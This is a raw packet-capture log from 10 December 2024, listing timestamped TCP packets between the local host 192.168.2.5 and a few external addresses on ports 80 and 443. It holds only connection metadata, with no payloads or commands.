Dec 10, 2024 05:10:35.545856953 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:35.548166990 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:35.620431900 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:35.667570114 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:35.739701986 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:35.964190960 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.964270115 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.964327097 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.968259096 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.968285084 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.997477055 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:35.997541904 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.041682005 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.104958057 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:36.105007887 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:36.160965919 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.366462946 CET	49906	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:36.366472960 CET	443	49906	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:36.366555929 CET	49906	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:36.366913080 CET	49906	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:36.366919994 CET	443	49906	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:36.484412909 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.484477043 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.484483004 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.484543085 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.485975027 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.505079985 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505136013 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505136967 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.505146980 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505182981 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.505295992 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505306959 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505319118 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505330086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505342960 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.505373955 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.505510092 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505521059 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505531073 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.505559921 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.505572081 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.605181932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.624411106 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.624430895 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.624494076 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.697101116 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.697182894 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.697213888 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.697261095 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.701284885 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.701335907 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.701390028 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.701431990 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.709638119 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.709698915 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.709754944 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.709800959 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.718288898 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.718343973 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.718539000 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.718585968 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.726402044 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.726449966 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.726507902 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.726552010 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.764319897 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.764329910 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.764395952 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.767899036 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.769167900 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.769285917 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.769407988 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.769460917 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.776904106 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.777018070 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.777076006 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.777096987 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.784511089 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.784571886 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.784605026 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.784650087 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.792129040 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.792179108 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.792244911 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.792285919 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.799721003 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.799767971 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.889487982 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.889617920 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.889688969 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.892940998 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.893052101 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.893106937 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.899666071 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.899785042 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.899837017 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.906090975 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.906217098 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.906248093 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.906248093 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.912925005 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.912971020 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.913141012 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.913486004 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.919673920 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.919733047 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.919739008 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.919780016 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.925335884 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.925364971 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.925375938 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.925420046 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.925435066 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.925523043 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.925534010 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.925543070 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:36.925570965 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.925595045 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.925875902 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.925986052 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.926027060 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.927268028 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:36.931823015 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.931895971 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.931958914 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.937359095 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.937482119 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.937540054 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.942982912 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.945436001 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.956377983 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.956479073 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.956636906 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.959059954 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.959119081 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.959177971 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.963728905 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.963788033 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.963892937 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.965672970 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.968885899 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.968936920 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.968991041 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.969032049 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.974509001 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.974520922 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.974565029 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.980045080 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.980153084 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.980202913 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.985672951 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.985747099 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.985794067 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.991209984 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.991305113 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.991353035 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:36.996828079 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.996892929 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:36.996947050 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.002410889 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.002512932 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.002675056 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.007987976 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.008054018 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.008107901 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.013483047 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.013590097 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.046454906 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.081635952 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.081690073 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.081792116 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.084084988 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.084115028 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.084166050 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.088809013 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.088923931 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.088980913 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.093437910 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.093534946 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.093604088 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.098453045 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.098540068 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.098546982 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.098578930 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.103298903 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.103394985 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.103579998 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.107494116 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.107609034 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.107669115 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.111732960 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.111818075 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.111871004 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.115782976 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.115876913 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.115921021 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.119743109 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.119854927 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.119935036 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.123589993 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.123711109 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.123761892 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.127368927 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.127492905 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.127532959 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.131124020 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.131252050 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.131304026 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.134762049 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.134854078 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.134901047 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.138322115 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.138431072 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.138480902 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.141845942 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.145118952 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.148343086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.148504019 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.148555040 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.150105953 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.150243998 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.150295019 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.153681040 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.153856039 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.153903961 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.157280922 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.157332897 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.157393932 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.160789013 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.160837889 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.160901070 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.161122084 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.164356947 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.164474964 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.164524078 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.167907953 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.168015957 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.168062925 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.171456099 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.171566010 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.171613932 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.175009966 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.175127029 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.175174952 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.178565979 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.178636074 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.178688049 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.182266951 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.182337999 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.182384014 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.185677052 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.185806036 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.185955048 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.189277887 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.189363003 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.189418077 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.192792892 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.192850113 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.192851067 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.193449020 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.196372986 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.196422100 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.196516037 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.196561098 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.199963093 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.200041056 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.200093031 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.203470945 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.203574896 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.203624010 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.207040071 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.207148075 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.207189083 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.210632086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.210695028 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.210741043 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.214135885 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.214276075 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.214323044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.217726946 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.217842102 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.217895031 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.273601055 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.273855925 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.273924112 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.274936914 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.275074959 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.275105953 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.275135994 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.277615070 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.277662992 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.277885914 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.278048038 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.280251026 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.280292034 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.280340910 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.282881975 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.283004999 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.283055067 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.285562992 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.285682917 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.285727978 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.288224936 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.288247108 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.288290977 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.290635109 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.290679932 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.290685892 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.291002989 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.293096066 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.293207884 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.293260098 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.295516968 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.295622110 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.295666933 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.297899008 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.297946930 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.298008919 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.299132109 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.300254107 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.300302982 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.300367117 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.300414085 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.302555084 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.302603960 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.302661896 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.302707911 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.304878950 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.304934978 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.304981947 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.307143927 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.307298899 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.307349920 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.309397936 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.309480906 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.309531927 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.311613083 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.311721087 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.311764956 CET	49901	80	192.168.2.5	185.215.113.16
